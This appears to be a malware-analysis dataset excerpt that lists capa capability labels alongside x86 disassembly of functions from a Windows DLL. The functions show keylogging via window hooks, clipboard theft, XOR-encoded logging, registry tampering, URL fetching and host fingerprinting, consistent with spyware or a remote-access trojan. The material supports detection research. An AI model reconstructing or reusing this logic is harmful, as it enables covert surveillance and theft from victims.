joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009883
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
lea eax, [ebp - 0x34]
push 0x32
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x34]
push 0x10001b98
push eax
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
mov esi, 0x100150d4
test eax, eax
pop ecx
je 0x100098c0
push eax
push 0x10001b70
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, esi
pop esi
leave
ret

Function at 0x100098c5
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push esi
push edi
mov esi, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push 0x10001bac
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea eax, [ebp - 0x218]
push eax
call fcn.10009883
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [ebp - 0x218]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push 0x10001794
push eax
call edi
lea eax, [ebp - 0x114]
push 0x10001788
push eax
call edi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [esi + 0x9e54], 0x120
lea eax, [esi + 0x10]
push eax
je 0x100099a7
push 0x10001b9c
call fcn.100080a0
pop ecx
jmp 0x100099ac
call fcn.10007092
pop ecx
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
leave
ret
Function at 0x10009abe
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x10015434]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 0x80
push 4
push ebx
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10009b09
push 2
push ebx
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp edi, ebx
pop ecx
mov esi, eax
jle 0x10009b42
mov ecx, dword [ebp + 8]
mov dword [ebp + 8], edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec dword [ebp + 8]
jne 0x10009b34
lea eax, [ebp - 4]
push ebx
push eax
push edi
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10009b67
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x910
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10009c8b
push edi
call sub.MSVCRT.dll_strlen
mov esi, eax
pop ecx
cmp esi, 1
jb 0x10009c8b
cmp esi, 0x80
ja 0x10009c8b
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov ecx, dword [0x10015434]
cmp eax, dword [ecx + 8]
je 0x10009c36
mov dword [ecx + 8], eax
lea eax, [ebp - 0x110]
push 0x100
push eax
mov eax, dword [0x10015434]
push dword [eax + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x800
lea eax, [ebp - 0x910]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x110]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
lea eax, [ebp - 0x910]
push 0x10001bc0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x910]
push eax
call fcn.10009b67
mov ecx, dword [0x10015434]
add esp, 0x34
cmp byte [ecx + 0xc], 0
je 0x10009c49
push edi
call fcn.10009abe
pop ecx
mov ecx, dword [0x10015434]
mov edx, esi
mov eax, 0x400
add edx, dword [ecx]
cmp edx, eax
jbe 0x10009c76
push eax
add ecx, 0x111
push 0
push ecx
call sub.MSVCRT.dll_memset
mov eax, dword [0x10015434]
add esp, 0xc
and dword [eax], 0
mov ecx, dword [0x10015434]
add ecx, 0x111
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x10015434]
add dword [eax], esi
pop edi
pop esi
leave
ret
Function at 0x10009e80
Capabilities:
Read file via mapping

Disassembly:
mov eax, 0x10014328
call fcn.10013bc0
sub esp, 0x28
push ebx
lea ecx, [ebp - 0x34]
call fcn.10009ef5
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x2c]
neg eax
sbb eax, eax
push 0x10001be8
xor ebx, ebx
push 0x594
and eax, ecx
push ebx
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [0x10015438], eax
je 0x10009eda
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, ebx
mov dword [0x10015434], eax
je 0x10009eda
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.10009f20
mov ecx, dword [ebp - 0xc]
mov al, bl
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x1000a078
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
call fcn.10009e80
test al, al
jne 0x1000a082
ret
push ebx
push esi
xor ebx, ebx
push 0x594
push ebx
push dword [0x10015434]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [0x10015430], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001542c], eax
mov eax, dword [0x10015434]
push 0x80
push ebx
mov dword [eax + 8], ebx
mov eax, dword [0x10015434]
mov dword [eax + 4], ebx
mov eax, dword [0x10015434]
mov dword [eax], ebx
mov eax, dword [0x10015434]
add eax, 0x511
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x10015434]
add esp, 0xc
add eax, 0xd
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [0x10015434]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add eax, 0xd
push 0x10001794
push eax
call esi
mov eax, dword [0x10015434]
push 0x10001788
add eax, 0xd
push eax
call esi
mov eax, dword [0x10015434]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
mov eax, dword [0x10015434]
je 0x1000a135
mov byte [eax + 0xc], 1
jmp 0x1000a138
mov byte [eax + 0xc], bl
mov eax, dword [0x10015434]
cmp dword [eax + 4], ebx
jne 0x1000a15f
push ebx
push dword [0x1001543c]
push 0x10009c8f
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov ecx, dword [0x10015434]
mov dword [ecx + 4], eax
pop esi
mov al, 1
pop ebx
ret
Function at 0x1000a20a
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
lea eax, [ebp - 0x110]
xor ebx, ebx
push 0x104
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x110]
push 0x10001794
push eax
call esi
lea eax, [ebp - 0x110]
push 0x10001788
push eax
call esi
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x1000a2bd
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x1000a2a9
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x1000a2a0
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.1000a1c0
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x1000a7e6
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100032a8
push 0x10013c5a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0x20]
sub eax, esi
je 0x1000a884
dec eax
je 0x1000a8a5
dec eax
je 0x1000a858
dec eax
jne 0x1000a8ff
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a8ff
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x1000a8f4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a8ff
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x1000a8f4
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000a8ff
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a8ff
mov edi, dword [ebp + 0x14]
cmp edi, esi
jbe 0x1000a8ff
cmp edi, 2
jbe 0x1000a8d8
cmp edi, 4
jne 0x1000a8ff
push edi
lea eax, [ebp + 0x1c]
push eax
push edi
jmp 0x1000a8e7
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x18]
push edi
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000a8ff
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.1000a91a
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b01b
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ecx
mov eax, dword [esp + 0x10]
push ebx
push 0x1c
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x1000b172
call fcn.1000d45c
mov eax, dword [esp + 0x14]
push 0x1c
xor edx, edx
pop ecx
div ecx
xor ebx, ebx
cmp eax, ebx
jle 0x1000b172
mov ecx, dword [esp + 0x10]
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push esi
push edi
lea esi, [ecx + 8]
mov dword [esp + 0x20], eax
mov eax, dword [esi - 4]
cmp eax, 0x200
jb 0x1000b098
cmp eax, 0x208
ja 0x1000b098
mov edi, dword [esi + 4]
movzx eax, word [esi + 4]
shr edi, 0x10
push edi
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [esi - 4]
mov ecx, 0x203
cmp eax, ecx
ja 0x1000b108
je 0x1000b0f8
sub eax, 0x100
je 0x1000b0f4
dec eax
je 0x1000b0dc
sub eax, 3
je 0x1000b0f4
dec eax
je 0x1000b0dc
sub eax, 0xfc
je 0x1000b0d1
dec eax
jne 0x1000b162
push ebx
push ebx
push ebx
push ebx
push 4
jmp 0x1000b160
push ebx
push ebx
push ebx
push ebx
push 2
jmp 0x1000b160
push ebx
push 2
push ebx
push dword [esi]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [esi]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp 0x1000b162
push ebx
push ebx
jmp 0x1000b0df
push ebx
push ebx
push ebx
push ebx
push 6
call ebp
push ebx
push ebx
push ebx
push ebx
push 6
jmp 0x1000b160
sub eax, 0x204
je 0x1000b15a
dec eax
je 0x1000b152
dec eax
je 0x1000b142
dec eax
je 0x1000b13a
dec eax
je 0x1000b132
dec eax
dec eax
jne 0x1000b162
mov eax, dword [esi]
push ebx
shr eax, 0x10
movsx eax, ax
push eax
push ebx
push ebx
push 0x800
jmp 0x1000b160
push ebx
push ebx
push ebx
push ebx
push 0x40
jmp 0x1000b160
push ebx
push ebx
push ebx
push ebx
push 0x20
jmp 0x1000b160
push ebx
push ebx
push ebx
push ebx
push 0x18
call ebp
push ebx
push ebx
push ebx
push ebx
push 0x18
jmp 0x1000b160
push ebx
push ebx
push ebx
push ebx
push 0x10
jmp 0x1000b160
push ebx
push ebx
push ebx
push ebx
push 8
call ebp
add esi, 0x1c
dec dword [esp + 0x20]
jne 0x1000b05f
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 8

Function at 0x1000b178
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000b1d6
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [esp + 0xc]
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x1000b1cf
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret 8
Function at 0x1000b1d9
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ecx
push ebx
mov dword [esp + 4], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000b255
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x1000b201
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x1000b255
push ebp
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov esi, eax
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
lea eax, [esi - 1]
push eax
push ebp
lea eax, [edi + 1]
mov byte [edi], 0x76
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x10]
push esi
push edi
call fcn.1000a327
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1000b526
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
mov esi, ecx
je 0x1000b656
cmp dword [esi + 0x1c], 0
je 0x1000b656
call fcn.1000b9eb
and dword [esi + 0x20], 0
lea edi, [esi + 4]
push 1
push edi
mov ecx, esi
call fcn.1000b896
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 8]
push 8
push eax
mov ecx, esi
call fcn.1000b896
lea ecx, [esi + 0x88]
call fcn.1000b65f
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
call fcn.1000b896
cmp byte [edi], 2
jne 0x1000b5cf
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x44]
push dword [esi + 0x80]
call fcn.1000ba24
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 0x14]
mov eax, dword [esi + 0x20]
add eax, dword [esi + 0x1c]
push eax
push dword [esi + 0x60]
push dword [esi + 0x78]
call fcn.1000ba70
add eax, dword [esi + 0x20]
mov dword [ebx], eax
jmp 0x1000b651
mov eax, dword [ebp - 4]
lea edi, [eax - 0x13]
test edi, edi
jge 0x1000b5db
xor edi, edi
cmp eax, dword [0x10015444]
je 0x1000b5f4
push edi
mov ecx, esi
call fcn.1000b6b5
test al, al
je 0x1000b5f4
add edi, 0x13
jmp 0x1000b5f7
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000b60d
push edi
mov ecx, esi
call fcn.1000b6b5
test al, al
je 0x1000b5ef
add edi, 0x13
jmp 0x1000b5ef
mov eax, dword [ebp - 4]
push 0x13
mov dword [0x10015444], eax
mov eax, dword [esi + 0x30]
add eax, 3
pop ecx
cdq
idiv ecx
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x30], edx
mov dword [ebx], eax
lea ebx, [esi + 0x14]
call edi
sub eax, dword [ebx]
cmp eax, dword [esi + 0x18]
jae 0x1000b63f
nop
nop
jmp 0x1000b632
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
jmp 0x1000b658
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000bd22
Capabilities:
Terminate process
Terminate thread

Disassembly:
mov eax, 0x10014414
call fcn.10013bc0
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
mov dword [esi], 0x100032c4
xor ebx, ebx
push 0x10001a9c
push 0x100014f4
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
push dword [esi + 0x28]
mov dword [ebp - 0x10], eax
call edi
push ebx
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
push dword [esi + 0x24]
call edi
push 0x7d0
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push dword [esi + 0x2c]
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
cmp eax, ebx
je 0x1000bd9b
push eax
call edi
mov eax, dword [esi + 0x14]
cmp eax, ebx
je 0x1000bda5
push eax
call edi
mov eax, dword [esi + 0x18]
cmp eax, ebx
je 0x1000bdaf
push eax
call edi
mov eax, dword [esi + 0x1c]
cmp eax, ebx
je 0x1000bdb9
push eax
call edi
push dword [esi + 0x10]
mov edi, dword [ebp - 0x10]
call edi
push dword [esi + 0x14]
call edi
push dword [esi + 0x18]
call edi
push dword [esi + 0x1c]
call edi
push dword [esi + 0x20]
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x2c]
call edi
push dword [esi + 0x28]
call edi
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.1000a314
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x1000c073
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.1000bf29
pop ecx
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
test eax, eax
jle 0x1000c0b1
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x19
add ecx, edx
inc edx
cmp edx, eax
jl 0x1000c09a
mov eax, dword [ebp - 4]
leave
ret
Function at 0x1000c1f4
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
cmp edi, esi
je 0x1000c281
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
and byte [ebp + 0xb], 0
push 0x10001b68
push edi
mov dword [ebp - 0x10], esi
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x1000c254
push 0x10001cfc
push edi
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x1000c254
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call fcn.1000c0b6
add esp, 0x1c
mov al, 1
jmp 0x1000c362
push esi
push esi
push esi
push esi
push 0x10001ce0
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, esi
mov dword [ebp - 0x14], eax
je 0x1000c281
push esi
push 0x80000100
push esi
push esi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x1000c288
xor al, al
jmp 0x1000c362
and byte [ebp - 2], 0
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x73
mov byte [ebp - 5], 0x74
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x6d
mov edi, 0x800
lea eax, [ebp - 0xc14]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc14]
push edi
push eax
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc14]
push eax
call ebx
mov edi, eax
pop ecx
cmp edi, esi
pop ecx
je 0x1000c346
lea eax, [ebp - 8]
add edi, 4
push eax
push edi
call ebx
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x1000c344
push 0x400
lea eax, [ebp - 0x414]
push 0
push eax
call sub.MSVCRT.dll_memset
sub esi, edi
lea eax, [ebp - 0x414]
push esi
push edi
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x414]
push eax
call fcn.1000c073
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.1000c0b6
add esp, 0x38
mov byte [ebp + 0xb], 1
xor esi, esi
cmp dword [ebp - 0x10], esi
ja 0x1000c2a4
push dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x14]
call esi
mov al, byte [ebp + 0xb]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000c367
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x10001d10
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x10001d08
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x1000c3e9
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
xor esi, esi
push esi
push edi
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x400]
push esi
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push 0x100016e8
push 0x100016c4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push esi
lea eax, [ebp - 0x400]
push dword [ebp + 0x10]
push esi
push edi
push 1
push 0x10001a80
push eax
push reloc.WS2_32.dll_bind
call fcn.1000a3d8
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x48
push edi
call esi
test eax, eax
jne 0x1000c467
push dword [ebp + 0x10]
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
push edi
call esi
pop edi
pop esi
leave
ret

Function at 0x1000c46e
Capabilities:
Get local ipv4 addresses
Get memory capacity
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
and byte [ebp - 0x9a], 0
lea eax, [ebp - 0x170]
push esi
push eax
mov byte [ebp - 0x174], 0x66
mov dword [ebp - 0x170], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x274]
push 0x100
push eax
push dword [ebp + 8]
call fcn.1000c3e9
push 0x10
lea eax, [ebp - 0x2c]
pop esi
push esi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
mov esi, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x28]
push 4
push eax
lea eax, [ebp - 0xd0]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x274]
push 0x32
push eax
lea eax, [ebp - 0xcc]
push eax
call sub.MSVCRT.dll_memcpy
call fcn.1000c367
mov dword [ebp - 0xd4], eax
call fcn.1000c3b4
push 0x10001d40
mov byte [ebp - 0x9a], al
mov eax, dword [ebp + 0x14]
push dword [0x1001543c]
mov dword [ebp - 0x98], eax
call fcn.100072c0
add esp, 0x20
test eax, eax
jne 0x1000c542
or eax, 0xffffffff
jmp 0x1000c5cd
add eax, 6
push eax
call fcn.1000c073
push eax
lea eax, [ebp - 0x94]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0xc
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x44]
shr eax, 0x14
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.1000c1a7
mov eax, dword [ebp - 8]
pop ecx
mul dword [ebp - 0xc]
push 0
push dword [ebp - 0x10]
push edx
push eax
call fcn.10013c90
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push edx
push eax
call fcn.10013c90
push 0x1e
pop ecx
call fcn.10013c60
push 0xa
mov dword [ebp - 0x5c], eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x174]
mov ecx, esi
push 0x128
push eax
call fcn.10005268
pop esi
leave
ret